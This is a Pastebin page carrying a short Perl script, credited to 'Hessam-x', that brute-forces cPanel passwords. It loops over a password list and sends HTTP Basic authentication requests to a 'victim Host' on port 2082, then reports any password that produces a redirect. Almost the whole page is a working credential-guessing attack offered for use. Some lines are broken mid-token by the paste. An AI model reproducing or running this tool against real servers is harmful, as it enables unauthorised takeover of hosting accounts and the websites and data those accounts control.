ProgrammerNazaryman

Cpanel Brute Force

May 4th, 2012
234
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.05 KB | None | 0 0
  1. # Cpanel Password Brute Forcer
  2. # ----------------------------
  3. # (c)oded By Hessam-x
  4. # Perl Version ( low speed )
  5. # Oerginal Advisory :
  6.  # http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vu
  7. le/
  8. use IO::Socket;
  9. use LWP::Simple;
  10. use MIME::Base64;
  11.  
  12. $host = $ARGV[0];
  13. $user = $ARGV[1];
  14. $port = $ARGV[2];
  15. $list = $ARGV[3];
  16. $file = $ARGV[4];
  17. $url = "http://".$host.":".$port;
  18. if(@ARGV < 3){
  19. print q(
  20. ##############################
  21. #################### #############
  22. # Cpanel Password Brute Force Tool #
  23. ##############################
  24. #################### #############
  25. # usage : cpanel.pl [HOST] [User] [PORT][list] [File] #
  26. #-----------------------------------------------------------
  27. --#
  28. # [Host] : victim Host (simorgh-ev.com) #
  29. # [User] : User Name (demo) #
  30. # [PORT] : Port of Cpanel (2082) #
  31. #[list] : File Of password list (list.txt) #
  32. # [File] : file for save password (password.txt) #
  33. # #
  34. ##############################
  35. #################### #############
  36. # (c)oded By Hessam-x / simorgh-ev.com #
  37. ##############################
  38. #################### #############
  39. );exit;}
  40.  
  41. headx();
  42.  
  43. $numstart = "-1";
  44.  
  45. sub headx() {
  46. print q(
  47. ##############################
  48. #################### #############
  49. # Cpanel Password Brute Force Tool #
  50. # (c)oded By Hessam-x / simorgh-ev.com #
  51. ##############################
  52. #################### #############
  53. );
  54. open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
  55. @PASSWORDS = <PASSFILE>;
  56. close PASSFILE;
  57. foreach my $P (@PASSWORDS) {
  58. chomp $P;
  59. $passwd = $P;
  60. print "
  61. [~] Try Password : $passwd
  62. ";
  63. &brut;
  64. };
  65. }
  66. sub brut() {
  67. $authx = encode_base64($user.":".$passw
  68. d);
  69. print $authx;
  70. my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
  71. [-] Can not connect to the host";
  72. print $sock "GET / HTTP/1.1
  73. ";
  74. print $sock "Authorization: Basic $authx
  75. ";
  76. print $sock "Connection: Close
  77.  
  78. ";
  79. read $sock, $answer, 128;
  80. close($sock);
  81.  
  82. if ($answer =~ /Moved/) {
  83. print "
  84. [~] PASSWORD FOUND : $passwd
  85. ";
  86. exit();
  87. }
  88. }
Advertisement
Add Comment
Please, Sign In to add comment